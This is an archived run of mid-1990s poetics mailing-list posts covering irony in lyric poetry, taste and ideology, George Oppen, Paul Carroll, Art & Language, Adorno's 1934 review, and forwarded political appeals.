We all (including Kathleen Fraser, Kevin Killian, Dodie Bellamy, Norma Cole, Bob Grenier, Stephen Ratcliffe, Susan Gevirtz, Doug Powell, Cole Swenson, Margie Sloan, Etel Adnan, Margaret Butterfield, Dale Going, Steve Tills, and Patricia whose last name I didn't get) give forth thundering applause for both poets, and reconvene at Kathleen Fraser's house for spiced apple cider, more wine, delicious cornbread, bean soup, brownies and cookies. On her balcony you can peep through her neighbors' windows as they make dinner and lie on their beds watching TV; David says it's like the 50's. Meredith and I swap books and methods of stealing other people's works and manipulating them. Some of us talk about how weird our families think we are; when Norma finds out I have two younger sisters she says, "I always wished I had an older

brother." I have tremendous affection for Norma Cole and am tempted to say, "Heck, I'll be your older brother, Norma," but I don't actually know her THAT well and I'm not quite sure how to say it so it doesn't sound salacious. In another room, 12 of Bob Grenier's 4-color beach scrawl poems that Pavement Saw's publishing are spread on the floor and we all try to decipher the words. I'm impressed when Kathleen gets "Aeolian." More copies of _Antenym_ 11 are bartered, sold, and made gifts. Jack and Adelle Foley give me a ride down to the BART station. Their car's crowded because of me; I almost get to sit on Joyce Jenkins' lap but we find another way to fit four people in the back seat (darn). Jack and I trade banter all the way there; samples probably better off lost in the mists of memory.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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323. Erich Metting van Rijn
Irony Query
Tue 10 Dec 1996

This is more a request for suggestions than an actual question. I'm researching a paper on irony in lyric poetry, and I'm trying to chase down examples of verbal irony in lyric poetry. By verbal irony, let me just say that I mean this in the loosest sense of saying one thing and meaning another (e.g. saying it's a nice day for a picnic when there's a blizzard going on outside). The aforementioned example is a little extreme, but it illustrates my point in everyday conversation. I realize that there are a million sub-species of irony irony in literature and in everyday speech, but I'm not really looking for situational irony (e.g. a poem that points us to a situation as if to say, "isn't it ironic that...?").

If any of you out there can think of examples off the top of your heads where verbal irony might seem to obviously be a powerful feature of the poem, or indeed the controlling feature (Nemerov springs to mind as a poet who might be thought of as deploying verbal irony frequently) of the poem, please let me know about them (off-list is fine, so as not to clog up people's mailboxes). I'm

really looking for English or American anthologized poems that could be easily found in one of the Nortons (sorry, I don't mean to open the whole canonicity can of worms, and I apologize in advance for being picky). Thanks for any and all suggestions. -Erich

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324. **Patrick Foley**
Re: Double Damn
Tue 10 Dec 1996

Re: "accused of circularity".

First: I didn't say the circularity is there. Second: I didn't say it was vicious rather than virtuous. If everyone around here is going to insist on playing at logic, believe me I'm prepared to do that, I'd just rather be doing something else.

Let me pose a question: Kali says having a poetics indicates you've bought into some narrative; suppose I argue that she holds this view because _she_ has bought into some narrative; could she say, proving her point, "Yes! Exactly!"? No. This narrative talk explicitly does not take into account the truth or falsehood of the narratives in question. In fact it's probably meant to go with some subjectivizing treatment of truth and reality, a sort of epistemological Rashomon. I'm not arguing against that, I'm only pointing out that we're not considering whether a given narrative is true. So Kali might hold her position because she has bought into a _false_ narrative about poetics & narratives. The fact that she has done so, if she has, shows nothing whatsoever about whether she's right. She might be right for the wrong reasons; she might be wrong in a self-supporting, question-begging, unfalsifiable way; she might be right and her views a poetics she holds, as she says, because of the narrative she has bought into.

Circularity, vicious or virtuous, is not the same as tautology. A tautology, under one neo-Leibnizian model-theoretic definition, is a proposition that is true in all possible worlds.

How much more of this do we have to go through? There is description and there is explanation. The latter will be narrative, in some sense, and involve notions of causality. To describe someone's mental state is different from giving its etiology. To describe a tree is different from saying how it got to be that way. These descriptions can probably always be taken up into narratives, and mere sequence glued together as cause and effect. But it is not required, and it is obvious that people sometimes resist doing just this. One reason they do so, is to avoid forcing the description in a particular direction because of ideas they already have about the causal chain. A physician can miss certain

symptoms, and hence make a misdiagnosis, if he thinks he already knows what's wrong with the patient. _Of course_ he could tell a story about the patient's symptoms: he could tell the wrong story. It proves nothing. On the other hand, a hunch about the cause gives you a way of forming falsifiable hypotheses, in the form of effects to seek out. "If the killer left through the garden, he should have left some trace of his passing, footprints, blood, etc." You must rely on some law as the major premise here: killers who pass through gardens leave traces. When you find no traces, you can either conclude that the major premise is false (sometimes killers leave leaving no trace) or, if you are very confident in the major premise, then you conclude the minor premise if false (the killer did not pass through the garden). Making up a story can help you find what you want to describe as part of the real story. It can make you find things that aren't really there. Evidence always underdetermines the theory it supports; there's always more than one theory to fit the facts. You choose for other reasons, allowing some premises to be wildly underdetermined (the universe is regular and predictable in its workings), but standing as fixed in order to evaluate your hypotheses.

Shall we continue in this fashion, here on the poetics list? I vote, nay. If y'all continue to prod me about this, I will continue to respond -- probably. I may just get too bored. We're talking philosophy now, and we shouldn't be, and whose fault is that? Not Wystan's. Not Mike's. Not mine. We didn't make these grand claims about the nature of things. I've posted some longish rambles that have few claims at all and nothing much like a conclusion, but they had a lot of stuff in them I'm interested in. I have now been drawn into arguing about things I'd rather not argue about, but still I am making very few claims. You don't see me saying that people do or don't have stories that shape their perceptions and their poetics. All I've done is object to the sweeping nature of some of the claims put forward here, and my point all along has been to go in fear of generalities and get down to cases. The problem with big theories is never that they don't work, but that they work all too easily. As Hegel said of the unmediated absolute: "It is the night in which all cows are black."

Now can we get back to poetics?! Pound makes a lot of points for Chaucer against Shakespeare -- now how about that? Is it just what Eliot says was his blind spot when it comes to drama? EP's procedure is not quite to say Chaucer is "better" than Shaks, he judges each thing according to its perfections. (He makes some points for Douglas's metric against Chaucer's.) He seems to feel that Chaucer's thought was superior to Shakespeare's, and even notes that his culture was "wider" than Dante's. He sees Chaucer as a European and Shakespeare as an Englishman. This is all very "narrative" you might say. You might then ask whether this narrative is true, or you might just consider the

decriptions themselves for accuracy. And the point is to get to the stage of deciding what it means to you, and whether in the particular case it adds up to some judgment or not. Pound is careful: "Can you be interested in the work of a man who is blind to 80 percent of the spectrum? to 30 percent of the spectrum? Here the answer is, curiously enough, yes IF . . . if his perceptions are hypernormal in any part of the spectrum he can be of very great use as a writer --- though perhaps of not very great 'weight'." That is not said in the Chaucer/Shaks context, but would seem to go along with what he says there. Etc. etc.

Pat

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325. **wystan**
Re: taste, judgment, etc...
Tue 10 Dec 1996

Dear Kali, Well, all right, you do have taste(s) and I have an ideology. On second thoughts shouldn't that be: ideology has me? Rest assured I have values. I have political views, too. And it has occurred to me that you equate both with having an ideology. Is that so? You see I don't think I do. You say, the notion that art is somehow beyond or outside of ideology makes you throw up, so a lot hinges on what you take ideology to be. For another way to pose this question of taste is to ask: what is the relation of ideology to poetics. Is there a poetics of ideology?

I was interested in your thought that groups without privilege were required to justify their tastes and those with it did not--that's what I meant when I spoke of judgement supported by class. And its a context in which NOT EXPLAINING is political. There's the story about jazz, which involves Duke Ellington as a rule, and a white middle class woman as a rule asking what is the meaning of 'swing', and getting the answer that if you have to ask you'll never know, or something like. So that requirement to explain can be refused. The 'interrogation' can't start unless you know the right questions. Maybe class is always involved one way or another. I'm not sure. Taste in my book would always be 'acquired taste', which is to say there's always knowledge there gained from wherever it is concentrated, 'on the street', or in the library, and the refusal to explain is a way of insisting on the importance of knowing. Taste statements draw lines (I HATE SPEECH--Robert Grenier) which surprise those who don't know enough.

I write a lot of art criticism. I am aware that my tastes as a critic differ from those of the artists I write about in ways that reflect our different activities. Generally speaking mine are broader. As a critic I am drawn towards

your position, postponing value judgements, accepting this work may be good of its kind, explaining the work, translating it into the language of (even the poetics of, discourse of, ideology of) the audience for the work, standing in the middle. It is the same with the teacher. As a poet, however, my focus is sharper and different (although my tastes can be as eclectic as hell), I'm not a bystander, my governing interest in other people's work is in its relation to my own activity as a poet, to my poetics, my path. It is worth arguing that there's something wrong with this being in two minds. And that criticism is as answerable to poetics as poetry is, and answerable to it before it is to other kinds of discourse such as literary criticism or cultural studies.

From one Cab Calloway fan to another...

Wystan

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326. **wystan**
Re: DAMNNNNNN!
Tue 10 Dec 1996

Dear Pat,
Thanks for your teasing out of the taste thread.

What explanations, what stories!

Wystan

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327. **David Zauhar**
Re: the profession(s)
Tue 10 Dec 1996

Tom Mandel wrote:

> *Ron -- I didn't say or at least didn't mean to say that people in the computer industry are smarter than those in the academy. Only that the academy, which might be imagined as a gathering of specially high intelligences, is not particularly: and this I wanted to say not to critique the academy but only as a kind of encouragement to those (students) who might fear falling from the academy into a dumber world of commerce or whatever.*

This thread wouldn't attract much of my attention IF NOT for one fact: some of the most deluded people I know in graduate schools are folks who have worked in in other fields for a few years and then come to the academy expecting it to be a utopia in which the men are witty, the women are feminist, and all the students are above average.I stick around because teaching strikes me as one

way of fulfilling the buddhist (w/ marxian inflections) call to pursue "right livelihood," but when i was doing other jobs, my intellectual life wasn't much different than it is when I'm grading papers and making syllabi for a living. But what to make of the folks who think the academy is the place to escape corporate domination? On the one hand, their hearts are in the right places (and how I wish they were correct in their assumptions). But I don't know about the brians of these folks: Maybe I need a new cliche: the old one about the corporate world being dog eat dog while in the academy, it's the other way around, just doesn't seem to be cutting it.

DAVE Zauhar

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328. George Bowering
Re: Irony Query
Wed 11 Dec 1996

If I were going to look for irony in lyric poetry I would head straight for Margaret Atwood, wouldnt you?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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329. Dean Taciuch
Re: Art + Language
Wed 11 Dec 1996

> *Hi,*
>
> *Can anyone tell me anything about the "Art and Language" group that was around in the 70s and 80s in England? Do they still exist as such? What might they have to do with the rock band Red Krayola? I know this is far from any recent thread, but I figured someone out here could help. Backchannel if desired.*
>
> *Bennett*

Don't know much about this, but you might want to check out:
http://www.studorg.nwu.edu/artperf//back-issues/1-27-95/redkrayola.html

Dean Taciuch

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330. **Aldon L. Nielsen**
Re: verbal irony
Wed 11 Dec 1996

I've never teased out of a thread, but here's a good irony for us all --

that would be getting philosophical, and we shouldn't do that here --

The Duke Ellington story (are there any witnesses?) involves a stranger pressing for an explanation -- which the pressee refuses --

Seems to me a different order of exchange from a refusal to explain an opinion that has been publically opined --

Someone may come up to me and ask, "what does Pat mean when he says that your remarks may be circular" -- I may reply, "I refuse to explain"

Another thing entirely for me to say, "Donne can't lick Milton's shoes" and refuse to explain myself --

Pound being careful around 1935 -- "Muss. is having a war. All right. We got Louisians [sic] and a war in Africa is better than one in Europe which ALL the buggaring gun makes [sic] wanted."--

Well, I'll be leaving town and this borrowed keyboard in a few days to go read stuff at Moorland-Spingarn, so my bumbling around in the regions of sense will subside, if bumbling can be said to subside --

I just haven't the taste for it

and DAMN this suit Tom sold me itches -- but it sure looks good on me

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331. **Peter Quartermain**
Re: Oppen the misogynist?
Wed 11 Dec 1996

A five day absence on a wonderful trip to San Francisco gives me some 160-odd (some of them distinctly odd) messages to get through. A quick note on my Oppen lecture: I did not argue -- and did not wish to imply -- that Oppen was a misogynist. I'm certainly not going to inflict on you 55 minutes-worth of talk on you here -- around 30 pages of double-spaced typescript which I hope and guess

might one of these years get published -- but I think I'd better say something. In my talk I tried to open up possible answers to two interrelated questions: 1. Why in the 60s did Oppen notice, pay attention to, (some) young women writers at a time when very few other men (except a few gay poets) were doing so? 2. What sort of news did he have, for those for whom he had news? (There were and still are quite a few such.) [I don't, incidentally, think he got much news from *them*, but to say so thus baldly is probably to malign him. It's complicated.] I wrote to a number of women writers asking them to talk about their relations with Oppen, hoped to build my paper around their replies (I got about a dozen replies), and found that I simply had to deal in some detail with Oppen's deeply ambiguous attitude towards women, his sense that they are an alien species, his bafflement. A strong feminist, also a patriarch. A really interesting mix. And yes, he did chide Kathleen Fraser for dwelling on feminine subjects, as Kevin says, in almost the same breath praising Diane Wakoski for her pursuit of same. And attacking Levertov's political poetry too. It's all fascinating, actually (and a HUGE topic), and has to be pursued. Whether I do so myself or not is another matter, since I've rather a lot on my plate right now. I'd sure like to.

As soon as I can get all the permissions sorted out, I'll try to publish this paper, and will let everyone know where to find it.

Peter

+ + + +

Donne, if you like, to Hopkins (both have really interesting quantitative measures -- e.g. Donne's first holy sonnet), and Swinburne has some wonderful and complex effects, as in "Itylus" [in _Poems_and_Ballads_ 1866]. Spenser's correspondence with Harvey is a wonderful discussion of quantity -- Spenser closing (at least I think it's in the last letter) the series of letters with a quantitative sonnet which Basil Bunting thought was the most perfect piece of quantitative writing in the language. The difficulty of course is that (to put it crudely) in English, stress lengthens the syllable, and most verse is a mix of accentual/quantitative. Some ears simply don't hear the quantity, since they're not used to it -- and anthologies like the Norton and pretty well all others, by modernising the spelling, breed tin ears in all of us.. If you start thinking in terms of consonant clusters and juncture, though, then Whitman for example suddenly begins at times to be quantitative -- the opening lines of "Out of the Cradle" for instance -- I discuss this in _Disjunctive_Poetics_ -- and so do passages of Wordsworth. I've NEVER been able to read Tennyson, so cannot say whether he does it or not. Basil Bunting is a great quantitative writer. So too Creeley, Zukofsky. In this century, a long ling list. But discussions of it in the 18th and 19th centuries? I doubt there's any, save among prosodists who think quantity is Greek or Latin ONLY, and must therefore be in Sapphics etc etc when moved to English. So there may be a terminological problem in older discussions.

And -- an aside -- there's a great discussion of stress and its relation to pitch and syllable-length in English poet Douglas Oliver's 1989 book _Poetry_And_Narrative_in_Performance_.

Peter

At 04:54 PM 12/9/96 -0800, Liz Losh wrote:
> I am looking for
>versification theory about quantitative metrics from the 18th and 19th
>centuries.

I'm

+ +
Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]
+ +

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333. **dbkk**
Re: The Week in Poetry (S.F.)
Wed 11 Dec 1996

At 6:27 PM -0800 12/10/96, Steve Carll wrote:
>Jack and Adelle
>Foley give me a ride down to the BART station. Their car's crowded because
>of me; I almost get to sit on Joyce Jenkins' lap but we find another way to
>fit four people in the back seat (darn). Jack and I trade banter all the
>way there; samples probably better off lost in the mists of memory.

But, Steve, aren't you leaving something/one out here? Wasn't Eileen Kaufman!!!!! (the one bedecked in turquoise ruffles) in the car too? When she walked in with Adelle Foley, I ran up to Eileen and told her how much I loved seeing her on the Beat Women panel. Eileen was very gracious. She's had lots of practice assuaging her fans. I helped her re-pin up the poster she knocked off Kathleen's hallway wall and then she fluttered into the kitchen like a moth, like a lovely turquoise moth. Meanly, Kevin attributed her high spirits to the arrest and incarceration of Janice Blue, one of her rivals for Bob Kaufman's affections.

Dodie

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334. **Ward Tietz**
Re: Art and Language
Wed 11 Dec 1996

On Wednesday, December 11, Bennett Simpson wrote, "Can anyone tell me anything about the "Art and Language" group that was around in the 70s and 80s in England? Do they still exist as such?..."

Critical Inquiry, Spring 1995, contains a fairly lengthy article on Art and Language by Charles Harrison entitled "Art and Language Paints a Landscape." The articles discusses a range of works by Art and Language, including a few from the early 1990s.

Ward Tietz

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335. **Blair Seagram**
test
Wed 11 Dec 1996

Just checking to see if my messages are getting through to this list.

Blair Seagram

[redacted]

http://bway.net/~blairsea/

Blair Seagram

[redacted]

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336. **tmandel**

an xxtra X?

Wed 11 Dec 1996

Dave Zauhar supports my point only -- only! I say -- because he hopes I'll tell him where to find the suits :-)

Reading his post I remembered a day about a decade ago when I was installing a network in a law office in San Francisco. I was connecting one digital lego to another having seen through their protective coloring to the obvious (to the person who designed it and no one else) connection between these two outposts of bit, when the legal secretary standing near me, a wry man evidently gay and evidently amused at my mutterings and ejaculations, asked "Have you ever read Harry Mathews?" I'd never been asked about Harry's work in a business context before, so I stood straight up and wrenched my back.

I think about Gerald (his name: we became friends and went to many a Giants game together) too, because he's dead. Rich, the attorney he worked for, he's dead too.

I started writing about Oxxford suits in response to Ron Silliman's post about the bloodbath that is our time.

Perhaps, too, we can turn George Oppen into a human relations problem and suggest that he "can't be judged by the standards of our time." Why should a discussion forum putatively comprising thoughtful folks repeatedly express itself in such conventional self-praise as to imagine this a time of greater understanding than some other on any ethical subject whatever. By the standards of our time Lucifer looks like a big donor.

I knew George and Mary Oppen pretty well over about 3 years in the late seventies. We went out to dinner often with my then wife Gaelyn Godwin. George was mostly gone intellectually; mostly he would repeat a small repertoire of stories and thoughts, though he was able to be responsive if you reached him with a question, and he was physically just fine and still doing some writing too.

It's hard to park in SF, and we often found ourselves walking several blocks from the car to dinner. George liked very much to walk with Gaelyn, and I would walk with Mary willingly as she was a radiantly beautiful and alluringly cogent womanl. Gaelyn told me that George would begin by conversing with her but would soon fall silent and begin to hum to their rhythm, their pace. In her description it seemed an experience both peaceful and sensual.

But that was a long time ago.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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337. **tmandel**
Paul Carroll
Wed 11 Dec 1996

Getting to be nearly forty years since I first saw Paul Carroll in some poetry context or other that I tiptoe-teenaged myself into. I remember his florid smiling face and that it must have been summer, as he was wearing a straw hat -- the stiff-brimmed style that men used to don as soon as Memorial Day passed back in the days when nearly every man you saw on the street wore a hat, and the difference between a hat and a cap was a class difference -- and a seersucker suit from Brooks Brothers.

(I know I'm getting myself into trouble with all this stuff about clothes)

I'm trying to remember whether Paul was involved in the flap around the Chicago Review in 1958 ('59?) which led to the creation of Big Table magazine and a legendary benefit reading in a Folk Music club on the near north side where Corso read "Made in Italy" and Allen G. read his incredible Chitchen Itza poem (name escapes me). I was a little highschool mole at that event, sitting in a world that seemed the only one I'd ever want to inhabit and as near and far as could be.

This was a young Paul Carroll and the impression he gave was jaunty in the extreme, both bohemian and bon vivant. A figure.

tom

****
Tom Mandel * 2927 Tilden St. NW

Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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338. **MAXINE CHERNOFF**
Re: Paul Carroll
Wed 11 Dec 1996

Yes, it was Paul Carroll involvedin the flap about censorship (and Burroughs, I believe) that led to him forming Big Table Books and magazine, which went 5 issues. His straw hat stayed but after his divorce from first wife, summer gear became tee-shirts and shorts and a 10-speed bicycle that he used to ride in Lincoln Park until he got inspired to write a poem. One more Paul Carroll anecdote: needing $$ after his divorce, he began driving a cab at night (in addition to being a professor), and on the day Neruda died, he threw a party of businessmen out of his cab for not knowing who Neruda was.

Maxine Chernoff

On Wed, 11 Dec 1996 [redacted] wrote:

> *Getting to be nearly forty years since I first saw Paul Carroll in some poetry context or other that I tiptoe-teenaged myself into. I remember his florid smiling face and that it must have been summer, as he was wearing a straw hat -- the stiff-brimmed style that men used to don as soon as Memorial Day passed back in the days when nearly every man you saw on the street wore a hat, and the difference between a hat and a cap was a class difference -- and a seersucker suit from Brooks Brothers.*
>
> *(I know I'm getting myself into trouble with all this stuff about clothes)*
>
> *I'm trying to remember whether Paul was involved in the flap around the Chicago Review in 1958 ('59?) which led to the creation of Big Table magazine and a legendary benefit reading in a Folk Music club on the near north side where Corso read "Made in Italy" and Allen G. read his incredible Chitchen Itza poem (name escapes me). I was a little highschool mole at that event, sitting in a world that seemed the only one I'd ever want to inhabit and as near and far as could be.*
>
> *This was a young Paul Carroll and the impression he gave was jaunty in the extreme, both bohemian and bon vivant. A figure.*
>
> *tom*

****
*Tom Mandel * 2927 Tilden St. NW*
*Washington DC 20008 * [redacted]*
*vox: [redacted] * fax [redacted]*
****

↑ Index

339. Aldon L. Nielsen
Re: Notes & Queries
Wed 11 Dec 1996

-- New issue of _William Carlos Review_ is a special number on Williams and Surrealism -- lots of good stuff -- Marjorie Perloff reviews Parker Tyler reprint at end of journal --

Paul Carroll was indeed involved in varied flaps mentioned -- I've read a letter he sent to Baraka asking advice at time of _Big Table_ legal trouble, as Baraka/Di Prima had been through similar problems with _Floating Bear_ (including night in the pokey for issue containing excerpts from _Naked Lunch_ and _Dante's Hell_)

More male poets in early sixties interested in the works of women than we might think (though not always for purest of reasons) -- Baraka edited _Four Young Lady Poets_, or whatever that annoying title was --

But, the males certainly did dominate publishing & reading scenes -- For a project I'm working on, I've been trying to locate black women who were working in avant garde poetry scene from WWII through 1970 or so -- Helpful folk here on the list have put me in touch with Gloria Tropp -- If anybody else knows of some little known work -- please let me hear about it --

--I wrenched my back READING Harry Matthews, but I bought season tickets to the Odradek Stadium and have been enjoying the season greatly --

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340. Peter Larkin
(Fwd) Art & Language
Wed 11 Dec 1996

Forwarded message:
From: Self <LIBRIS/LYAAZ>
To: [redacted]
Subject: Art & Language
Date: Wed, 11 Dec 1996 09:48:52

This is off the top of my head - but as far as I ever knew the Art & Language thing came out of the Coventry School of Art & Design (now part of the University of Coventry) in the early 70's - or at least one very important thread did. A few years ago a lecturer from the above place had an exhibition at Warwick's Mead Gallery and he was certainly still working in that tradition. I don't know whether he is still there or not, and I can't discover his name as our catalogue is down at present, but unless much fuller info has already come from somewhere else I will try and find out.
Peter
Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 528151 Fax: 01203 524211
Email: [redacted]

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341. Karl Richter
Re: Irony Query
Wed 11 Dec 1996

Erich,

I've always been impressed by Berryman's uses of irony in the _Dream Songs_. Many of them are colored by humorous irony, and others by a melancholy irony. For instance, the bitter "ha"s at the end of "Dream Song 384," which is one of the most moving elegies I know of. I'll keep thinking about it. The topic is interesting to me as well. I often notice that contemporary poets use irony to undercut what it seems they really want to say, which, given the workshop aesthetic's tenet against taking too strong ("preachy" is often the word used) of a stand in a poem, is not surprising. Does anyone else think that irony may be a bit overused these days? I'll try to think of some specific examples.

Karl Richter
[redacted]

↑ Index

342. Gabrielle Welford
CNI Action: Protest School of Assassins (fwd)
Wed 11 Dec 1996

I've attached the following short article for anyone not familiar with this shameful and disgusting episode of US foreign policy. A call to Congress would not be out of the question.

Call Congress for FREE by dialing [redacted]. For information on how to send your representatives email, as well as details of our bloated military budget, visit our links to the Center for Defense Information located at http://www.cnotes.com/telecom/action.html

Peace,

Mike Corso
CNI Telecom
autoreply@cnitelecom
http://www.cnitelecom.com

> *School for Assassins*
>
> *Tuesday, October 8 1996; Page A18*
> *The Washington Post*
>
> *Shouldn't the Sept. 21 front-page article "Army Instructed Latins on Executions, Torture" give reason enough for Congress to close the U.S. Army School of the Americas (SOA)?*
>
> *I am a Catholic priest with the Maryknoll Order writing from the federal prison in Atlanta, where I'm serving a six-month sentence for a nonviolent protest against the SOA. I was among 13 arrested, including a 74-year-old nun, a Jesuit priest, a lawyer, World War II veterans and a mother of eight. The SOA, located at Fort Benning, Ga., trains hundreds of soldiers from Latin America each year in combat skills at U.S. taxpayers' expense.*
>
> *The school, established in 1946, quietly has trained more than 60,000 troops from Latin America. Consistently, those nations with the worst human rights records sent the most soldiers to the school. Bolivia under Gen. Hugo Banzer, Nicaragua under the Somozas, El Salvador during the bloodiest years of civil war -- all were top clients at the SOA in the heydays of their military abuse.*
>
> *We now are told by the Pentagon that SOA manuals taught Latin America's military how to torture, execute and blackmail. What we are not told is that the targets were the poor and*

> *those who dared to speak out on behalf of the poor. In El Salvador, SOA graduates were responsible for the massacre of six Jesuit priests, their housekeeper and her daughter; the assassination of Archbishop Oscar Romero; the rape and murder of four U.S. church women; the massacre of El Mozote, where more than 800 men, women and children were killed; and many other atrocities.*
>
> *With the Cold War behind us, there have been many changes in Latin America, but it is business as usual at the Pentagon and at the School of the Americas. At a time when budgets for schools for our children are being cut, the SOA is costing us millions of dollars. This is shameful!*
>
> *The fact that the Army continues to train Latin America's military at the SOA, even with changes in the curriculum, is an embarrassment to our country's commitment to the rule of law and a horrible waste of taxpayer funds. It is time to close this school of assassins.*
>
> *THE REV. ROY BOURGEOIS*
>
> *Atlanta*
>
> *c Copyright 1996 The Washington Post Company*

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+ the Environment, and the Fight Against AIDS.
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+ http://www.cnitelecom.com
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---------- (If you wish to be removed from the CNI Action Alert mailing list, simply send a blank message to [redacted] and type "remove action" (without the quote marks) in the Subject field)

↑ Index

343. **Gabrielle Welford**
VOICE YOUR SUPPORT (fwd)
Wed 11 Dec 1996

Subject: VOICE YOUR SUPPORT TO THE PEOPLE OF SERBIA

Please spread the appeal to the world intellectuals.
Molimo da prosledite sledeci poziv intelektualcima sveta.

VOICE YOUR SUPPORT TO THE PEOPLE OF SERBIA

Appeal of Democratic coalition ZAJEDNO (Together) to the world humanists and intellectuals

Belgrade, December 9, 1996.

Dear Sir/Madam,
We are writing to you in hope that you will voice your support for our
efforts.

As you have probably seen or read in the news, for the past 20 days, the people in Serbia have been holding peaceful demonstrations against the regime of the infamous Slobodan Milosevic. The protests started when he and his government, unsatisfied with the fact that they lost the local elections in all major cities, simply annulled the election results. This means that they simply canceled the democratically expressed will of over 2/3 of this country's population which voted for our coalition ZAJEDNO ("TOGETHER"). In addition to that, there is a total embargo on the freedom of information and no freedom of the media.

When the citizens of Serbia realized that their voice means nothing when expressed through legal institutions, they took to the streets in peaceful demonstrations for their basic human rights. More and more people are joining in the demonstrations every day and they are drawing the attention and support of the entire democratic international community.

At the same time, the Milosevic government is showing no sign of giving up in its attempt to yet again take this country on the road to disaster. Again, he arrogantly refuses to listen to reason. Instead, through the media which are completely under his control, he constantly keeps on spreading lies about the protests and denying the people of this country simple information, thus worsening the situation daily. He must be stopped before this situation reaches the boiling point with unforeseen consequences.

Many international analysts have already compared these events to those in Prague in 1989, when the people of Czechoslovakia succeeded in peacefully bringing democracy to their country. However, there are also those who

foresee Bucharest as our future. We do not want violence and bloodshed and we do not want Bucharest.

Our only goal is to succeed, by peaceful means, in getting what rightfully belongs to us -- democracy.

On the other hand, Slobodan Milosevic seems intent to cause bloodshed and destruction just so that he can maintain his power. This is what he has been doing for the past five years, stopping at nothing and sacrificing thousands and thousands of lives for that purpose. To stop him, we need the support of all democratic governments and institutions. We need the support of all of you who believe that dictators and dictatorships should not exist in Europe at the end of the 20th century -- all of you who believe that laws exist to be obeyed and that those who break them must answer for their actions.

This is why, on the behalf of hundreds of thousands of people who are demonstrating in the streets of Belgrade, Nis, Novi Sad, Kraljevo, and other cities of Serbia (the numbers are growing every day!), we ask you to voice your support for our efforts.

Respectfully yours,

the ZAJEDNO coalition,

Serbia

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344. Laura Moriarty
Quatermain tapes
Wed 11 Dec 1996

Hi Steve -

Backchannel me your address and I'll put you on the Poetry Center mailing list for future events -

Peter Quatermain's excellent George Oppen Memorial lecture, "Conversation With One's Peers," is available from us on video or audiotape.

Laura Moriarty
[redacted]

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345. Jordan Davis
Light in the Corners
Wed 11 Dec 1996

Sha la la la la wrote:

> *There were New York tales exchanged for California ones (of both the San Francisco and San Diego variety) as Juliana, Rodrigo, Robert Hale, and I talked. This is how I know of the Eye-Corps Gallery fiasco...*

Dear Steverino,

Could you please explain what is meant by the word 'fiasco' in that phrase?

Pretend the table is a trust-knot,
Jordan

↑ Index

346. Jeffrey W. Timmons
Re: Double Damn
Wed 11 Dec 1996

> *Now can we get back to poetics?!*

but we were having such fun!

jeffrey timmons

↑ Index

347. Jordan Davis
As Far As We Know Ben Friedlander & Samuel R. Delany
Wed 11 Dec 1996

Will Be Reading At Poetry City Tomorrow Night! Please Come And Enjoy Their Company 7 P.M. At 5 Union Sq W NYC In The Offices Of Teachers & Writers Collaborative! Afterwards There Will Be A Party At A Location To Be Disclosed At The Reading. Thank You. J Davis

↑ Index

348. Peter Quartermain
Re: Notes & Queries
Wed 11 Dec 1996

Aldon:

You wrote:

> *--I wrenched my back READING Harry Matthews, but I bought season tickets to the Odradek Stadium and have been enjoying the season greatly --*

1. HOW did you wrench your back?
2. WHERE did you get hold of it? I wanna teach it, thought it was out of print.

Peter
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ + + +

> *>hope you can spare the seconds...and let your friends know. ****so far they >only have 3, 400 messages...last year they reached 23,000.*

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351. **tmandel**

Adorno and the Nazis

Wed 11 Dec 1996

No poetry after Auschwitz?

In a letter to Karl Jaspers, Hannah Arendt referred to Adorno as "one of the most repulsive human beings I know."

There would be many reasons to hold this opinion, and anyone familiar with the relations between Walter Benjamin and Adorno from the time in the late 30's when Adorno got to America to B's death would be able to arrive at it independently, observing in the correspondence for example a genius of Benjamin's magnitude forced to grovel for a few pennies before a toad like Adorno, forced to hear and treat as significant Adorno's trivial and pettifogging critiques of his work.

This is not why Arendt detested Adorno, however, although she was certainly familiar with the relations between the two men (Benjamin and Arendt were friends).

No, Arendt detested Adorno for his attempt to ingratiate himself with the Nazis when they first came to power, his attempt to use the fact that he was half Jewish - not a real Jew (I should say not!) - to slide onto the slip-thru side of the newly-empowered National Socialists. Even moreso, Arendt hated him for his as she called it "indescribably pathetic" attempt to excuse himself when his activities were discovered thirty years later.

(I should say, btw, that although I am familiar with the Adorno/Benjamin correspondence and with some of Adorno's own writings, none of which I have ever liked, all of which seemed monumentally self-aggrandizing, the affair I am about to narrate I know only second-hand. I rely entirely on a written report in a pair of footnotes to the Arendt/Jaspers correspondence. Fans of Adorno's work, especially those who feel they'd like to complete their acquaintance with his texts, will surely want to read in their original positions the documents referred to below.)

(I should say further that I was a student of Hannah Arendt's for most of my grad-student career.)

In a periodical called Die Musik in June 1934 Theodor Wiesengrund-Adorno wrote a music review in which he praised a song cycle written to poems by Baldur von Schirach - an obscure person today thankfully but extremely well-

known at the time as a Nazi poet and an adorer of Hitler, to whom the book of poetry was dedicated (to "Adolph Hitler, the Fuhrer")! from which come the texts of the songs. The song cycle bears the same name as the book. The editors of the Arendt-Jaspers correspondence describe it as containing "phrases which even today can be regarded only as obsequious gestures to the Nazis. Adorno apparently was not bothered by the fact that some of the poems advocated mass murder." The review also uses a phrase of Goebbels - approvingly.

It goes without saying that Adorno took no opportunity after the war to mention having written this document, that it played no part in any of the judgments he made of German intellectuals' relations to the Nazis, and that he did not footnote his Minima Moralia axiom about poetry after Auschwitz with any reference to the poetry he had praised only a few years before Auschwitz was built.

The January 1964 issue of Diskus, a Frankfurt student newspaper, contains an open letter to Adorno, written by a student and asking whether he was the author of the review in question. Adorno replies in the same issue: "I deeply regret having written that review," says he (and I don't doubt it!), especially because "it deals with poems by Schirach" and made use of "a phrase of Goebbels."

